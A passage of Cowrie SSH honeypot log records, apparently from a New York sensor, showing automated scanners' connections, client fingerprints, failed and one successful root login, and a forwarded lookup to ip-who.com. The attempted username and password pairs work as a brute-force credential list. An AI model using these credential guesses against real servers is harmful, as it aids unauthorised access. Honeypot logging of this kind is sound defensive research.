sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:05.874589Z","src_ip":"103.82.132.16","session":"6a2b43cb39ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vladimir1","message":"login attempt [root/vladimir1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:06.647110Z","src_ip":"103.82.132.16","session":"6a2b43cb39ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:06.953042Z","src_ip":"103.107.60.45","session":"f652a049110c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:07.907730Z","src_ip":"103.82.132.16","session":"6a2b43cb39ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.1.70","src_port":54224,"dst_ip":"159.203.135.109","dst_port":22,"session":"47578120bfe5","protocol":"ssh","message":"New connection: 27.79.1.70:54224 (159.203.135.109:22) [session: 47578120bfe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:19.487444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:19.492809Z","src_ip":"27.79.1.70","session":"47578120bfe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:20.487262Z","src_ip":"27.79.1.70","session":"47578120bfe5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:24.803212Z","src_ip":"27.79.1.70","session":"47578120bfe5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"27.79.1.70","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:25.440251Z","session":"47578120bfe5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:26.154890Z","src_ip":"27.79.1.70","session":"47578120bfe5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:26.159244Z","src_ip":"27.79.1.70","session":"47578120bfe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:26.537548Z","src_ip":"27.79.1.70","session":"47578120bfe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":58116,"dst_ip":"159.203.135.109","dst_port":22,"session":"a334387b2d47","protocol":"ssh","message":"New connection: 31.59.89.180:58116 (159.203.135.109:22) [session: a334387b2d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:30.562240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:30.568031Z","src_ip":"31.59.89.180","session":"a334387b2d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:30.673129Z","src_ip":"31.59.89.180","session":"a334387b2d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Airtel@123","message":"login attempt [root/Airtel@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:31.153650Z","src_ip":"31.59.89.180","session":"a334387b2d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:32.261032Z","src_ip":"31.59.89.180","session":"a334387b2d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":44660,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffbda2b6ae44","protocol":"ssh","message":"New connection: 103.189.234.9:44660 (10.17.0.5:22) [session: ffbda2b6ae44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:55.327221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:55.332588Z","src_ip":"103.189.234.9","session":"ffbda2b6ae44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:55.569098Z","src_ip":"103.189.234.9","session":"ffbda2b6ae44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"11111111","message":"login attempt [teamspeak/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:56.546122Z","src_ip":"103.189.234.9","session":"ffbda2b6ae44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:57.784965Z","src_ip":"103.189.234.9","session":"ffbda2b6ae44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":38704,"dst_ip":"159.203.135.109","dst_port":22,"session":"f26ecb91feca","protocol":"ssh","message":"New connection: 122.176.122.24:38704 (159.203.135.109:22) [session: f26ecb91feca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:09.641560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:09.647023Z","src_ip":"122.176.122.24","session":"f26ecb91feca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:09.929142Z","src_ip":"122.176.122.24","session":"f26ecb91feca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:11.079237Z","src_ip":"122.176.122.24","session":"f26ecb91feca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:12.362310Z","src_ip":"122.176.122.24","session":"f26ecb91feca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.92.7.249","src_port":41764,"dst_ip":"159.203.135.109","dst_port":22,"session":"5570fea8512a","protocol":"ssh","message":"New connection: 196.92.7.249:41764 (159.203.135.109:22) [session: 5570fea8512a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:16.870296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:16.876000Z","src_ip":"196.92.7.249","session":"5570fea8512a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:17.007205Z","src_ip":"196.92.7.249","session":"5570fea8512a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e#E@W!Q","message":"login attempt [root/1q2w3e#E@W!Q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:17.556996Z","src_ip":"196.92.7.249","session":"5570fea8512a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:18.691461Z","src_ip":"196.92.7.249","session":"5570fea8512a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":34396,"dst_ip":"159.203.135.109","dst_port":22,"session":"c82976834736","protocol":"ssh","message":"New connection: 20.203.42.204:34396 (159.203.135.109:22) [session: c82976834736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:24.271332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:24.276079Z","src_ip":"20.203.42.204","session":"c82976834736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:24.432429Z","src_ip":"20.203.42.204","session":"c82976834736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd2026","message":"login attempt [root/p@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:25.318905Z","src_ip":"20.203.42.204","session":"c82976834736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":39508,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b90a9d46b56","protocol":"ssh","message":"New connection: 147.45.197.250:39508 (10.17.0.5:22) [session: 6b90a9d46b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:25.556503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:25.562189Z","src_ip":"147.45.197.250","session":"6b90a9d46b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:25.652369Z","src_ip":"147.45.197.250","session":"6b90a9d46b56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xfhkbr","message":"login attempt [root/xfhkbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:25.925569Z","src_ip":"147.45.197.250","session":"6b90a9d46b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:26.478999Z","src_ip":"20.203.42.204","session":"c82976834736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:27.017647Z","src_ip":"147.45.197.250","session":"6b90a9d46b56","protocol":"ssh"}
